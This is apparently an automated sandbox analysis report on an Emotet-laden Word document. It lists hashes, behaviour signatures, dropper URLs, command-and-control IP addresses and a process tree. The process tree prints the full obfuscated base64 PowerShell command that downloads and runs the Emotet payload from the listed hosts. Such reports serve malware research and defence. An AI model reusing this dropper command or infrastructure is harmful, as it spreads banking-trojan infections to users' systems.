Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    64s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    21/08/2020, 12:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_a9210eaabbf61f94109060e64456871b2e93af7b17c8d5e942c65d9d078b83e3_2020-08-21__122338._doc.doc
  • Size 182KB
  • Sample200821-pybzltvdqa
  • SHA256 a9210eaabbf61f94109060e64456871b2e93af7b17c8d5e942c65d9d078b83e3
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://aci.serabd.com/gt7pie/WMq/
  • exe.dropper

    http://acainacumbuca.com.br/protected-disk/x/
  • exe.dropper

    http://airmaxx.rs/available-zone/UFxfTGg/
  • exe.dropper

    http://labersa.com/preview/atbFjM/
  • exe.dropper

    http://agenciaetalk.com/common-zone/uF5x3RF/
  • exe.dropper

    http://brizboy.com/site/WrrdOMS/
  • exe.dropper

    http://clutchinc.net/image/1/

Extracted

Family

  • emotet

C2

  • 137.119.36.33:80

  • 116.202.234.183:8080

  • 69.30.203.214:8080

  • 204.197.146.48:80

  • 87.106.136.232:8080

  • 153.163.83.106:80

  • 91.211.88.52:7080

  • 93.147.212.206:80

  • 222.214.218.37:4143

  • 189.212.199.126:443

  • 203.153.216.189:7080

  • 83.169.36.251:8080

  • 188.83.220.2:443

  • 104.236.246.93:8080

  • 173.62.217.22:443

  • 5.196.74.210:8080

  • 68.188.112.97:80

  • 139.130.242.43:80

  • 61.19.246.238:443

  • 24.179.13.119:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_a9210eaabbf61f94109060e64456871b2e93af7b17c8d5e942c65d9d078b83e3_2020-08-21__122338._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1516
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABPAHgAMgA4AHcAagA2AD0AKAAnAFoAJwArACcAaAA2AG8AJwArACcAYQB4AHMAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAHYAOgB0AGUATQBQAFwATwBmAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAGAAVQBSAEkAYABUAHkAUABgAFIATwBUAGAATwBjAGAATwBsACIAIAA9ACAAKAAnAHQAbABzADEAMgAsACAAJwArACcAdAAnACsAJwBsACcAKwAnAHMAMQAxACcAKwAnACwAIAB0ACcAKwAnAGwAcwAnACkAOwAkAEUAagB1AGMAYQBfAF8AIAA9ACAAKAAnAFMAZgA3ACcAKwAnAF8AJwArACcAeQBkAGsAdQAnACkAOwAkAEUAXwBjAHoAbABlAHcAPQAoACcAUwBfAGEAJwArACcAbQBlAHEAZwAnACkAOwAkAEsAMgBvAHUAOQBjAHgAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGEAYgB5ACcAKwAnAE8AJwArACcAZgBmAGkAJwArACcAYwBlACcAKwAnADIAMAAxACcAKwAnADkAYQBiAHkAJwApACAALQBjAFIARQBQAGwAYQBDAEUAIAAnAGEAYgB5ACcALABbAEMASABhAHIAXQA5ADIAKQArACQARQBqAHUAYwBhAF8AXwArACgAJwAuACcAKwAnAGUAeABlACcAKQA7ACQARQB2ADEAaQBpADQAdAA9ACgAJwBBAG4AJwArACcANwAnACsAJwBlAF8AcgBxACcAKQA7ACQAUAAyAGgAbAAyAGMAeAA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AGUAYgBDAGwAaQBlAG4AdAA7ACQAUQBnAF8AZgBsAGoAbwA9ACgAJwBoAHQAdABwADoALwAvACcAKwAnAGEAYwBpAC4AcwAnACsAJwBlAHIAYQBiACcAKwAnAGQALgBjAG8AbQAvAGcAdAAnACsAJwA3AHAAaQBlAC8AJwArACcAVwBNAHEAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAYQBjAGEAaQBuAGEAYwAnACsAJwB1AG0AYgB1AGMAYQAuAGMAbwBtAC4AYgByAC8AcAAnACsAJwByACcAKwAnAG8AdABlAGMAdAAnACsAJwBlACcAKwAnAGQALQBkAGkAJwArACcAcwBrAC8AeAAnACsAJwAvACoAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwBhAGkAcgBtAGEAeAAnACsAJwB4ACcAKwAnAC4AJwArACcAcgAnACsAJwBzAC8AYQB2AGEAaQBsACcAKwAnAGEAJwArACcAYgBsAGUALQB6AG8AbgBlAC8AJwArACcAVQBGAHgAJwArACcAZgAnACsAJwBUAEcAZwAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6AC8AJwArACcALwBsACcAKwAnAGEAYgBlAHIAcwAnACsAJwBhAC4AYwBvAG0ALwAnACsAJwBwAHIAZQAnACsAJwB2AGkAJwArACcAZQAnACsAJwB3AC8AYQB0ACcAKwAnAGIARgBqAE0AJwArACcALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AYQBnAGUAbgBjACcAKwAnAGkAYQBlAHQAYQAnACsAJwBsACcAKwAnAGsAJwArACcALgAnACsAJwBjACcAKwAnAG8AbQAvAGMAbwBtAG0AbwBuAC0AegBvAG4AZQAvAHUARgA1AHgAMwBSAEYALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAYgAnACsAJwByAGkAegBiAG8AeQAuAGMAJwArACcAbwBtACcAKwAnAC8AcwAnACsAJwBpAHQAJwArACcAZQAvAFcAcgByAGQATwBNAFMALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AYwBsAHUAdABjACcAKwAnAGgAaQBuAGMALgBuAGUAJwArACcAdAAvAGkAbQAnACsAJwBhAGcAZQAvADEALwAnACkALgAiAFMAUABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQBuAHAAagAzAHUAeQA9ACgAJwBHACcAKwAnAHkAbAB4AHIAZwB1ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFAAMQA2AHQAeQBjAGIAIABpAG4AIAAkAFEAZwBfAGYAbABqAG8AKQB7AHQAcgB5AHsAJABQADIAaABsADIAYwB4AC4AIgBkAGAATwBXAGAATgBsAE8AYABBAGQAZgBJAEwARQAiACgAJABQADEANgB0AHkAYwBiACwAIAAkAEsAMgBvAHUAOQBjAHgAKQA7ACQAUwBkAHMAdAB1AG0AbQA9ACgAJwBNAGwAegAnACsAJwAwAGoAcwAyACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABLADIAbwB1ADkAYwB4ACkALgAiAGwARQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMgA0ADYANwA1ACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEsAMgBvAHUAOQBjAHgAKQA7ACQAUgBmADMAYgA5AGYAdwA9ACgAJwBRAF8AdQAnACsAJwBzADgAagAnACsAJwA1ACcAKQA7AGIAcgBlAGEAawA7ACQARQBwADgAMAA5ADQANgA9ACgAJwBCADQAcQAnACsAJwA2ADEANAAyACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBlADUAYQA0AHkAMwA9ACgAJwBYACcAKwAnAHcAOABtADMAJwArACcANgB1ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1160
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Sf7_ydku.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Sf7_ydku.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1852
      • C:\Windows\SysWOW64\inetmib1\XInput9_1_0.exe
        "C:\Windows\SysWOW64\inetmib1\XInput9_1_0.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1624

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/864-24-0x000007FEEF390000-0x000007FEEF60A000-memory.dmp
        Download

        memory/1160-10-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/1160-9-0x000007FEEA290000-0x000007FEEAC7C000-memory.dmp
        Download

        memory/1160-11-0x000000001AB80000-0x000000001AB81000-memory.dmp
        Download

        memory/1160-12-0x00000000024B0000-0x00000000024B1000-memory.dmp
        Download

        memory/1160-13-0x00000000024E0000-0x00000000024E1000-memory.dmp
        Download

        memory/1160-14-0x000000001AA50000-0x000000001AA51000-memory.dmp
        Download

        memory/1160-15-0x000000001B6E0000-0x000000001B6E1000-memory.dmp
        Download

        memory/1516-16-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/1516-2-0x00000000089D0000-0x00000000089D4000-memory.dmp
        Download

        memory/1516-6-0x000000000BF90000-0x000000000BF94000-memory.dmp
        Download

        memory/1516-5-0x000000000AF10000-0x000000000AF14000-memory.dmp
        Download

        memory/1516-4-0x0000000006E00000-0x0000000007000000-memory.dmp
        Download

        memory/1624-23-0x00000000002B0000-0x00000000002BC000-memory.dmp
        Download

        memory/1852-19-0x0000000000230000-0x000000000023C000-memory.dmp
        Download